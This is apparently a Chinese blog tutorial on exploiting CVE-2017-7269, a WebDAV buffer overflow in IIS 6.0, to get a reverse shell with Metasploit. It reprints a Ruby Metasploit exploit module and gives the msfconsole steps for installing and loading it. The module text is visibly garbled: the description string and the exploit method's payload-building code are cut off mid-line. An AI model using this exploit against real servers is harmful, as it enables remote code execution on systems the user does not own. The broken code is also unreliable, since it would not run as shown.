iis 6.0 CVE-2017-7269 Msf 反弹shell

环境:windows2003Sp2(32位)+iis6.0+webdav+Kali
模块:https://github.com/dmchell/metasploit-framework/pull/1/commits/9e8ec532a260b1a3f03abd09efcc44c30e4491c2

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
      'Description'    => %q{
          Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If:  [ 'Dominic Chell ' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', 'CVE-2017-7269'],
          [ 'BID', '97127'],
          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 2000,
          'BadChars'    => "\x00",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'DisableNops'  =>  'True',
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI',
            }
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true,
          'PrependMigrateProc' => "calc"
        },
      'Targets'        =>
        [
          [
            'Microsoft Windows Server 2003 R2',
            {
              'Platform' => 'win',
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'March 26 2017',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ], self.class)
  end

  def exploit
    connect

    buf1 = "If: "
    buf1 << " (Not ) \r\n\r\n")

    handler
    disconnect
  end

end

打开webdav

iis 6.0 CVE-2017-7269 Msf 反弹shell_第1张图片

msf添加模块

vi iis6.rb //新建rb文件
mv iis6.rb /usr/share/metasploit-framework/modules/exploits/  //移动到msf目录
msfconsole //启动msf
reload_all  //重载所有模块
use exploits/iis6         //加装Exp

配置msf


iis 6.0 CVE-2017-7269 Msf 反弹shell_第2张图片

你可能感兴趣的:(iis 6.0 CVE-2017-7269 Msf 反弹shell)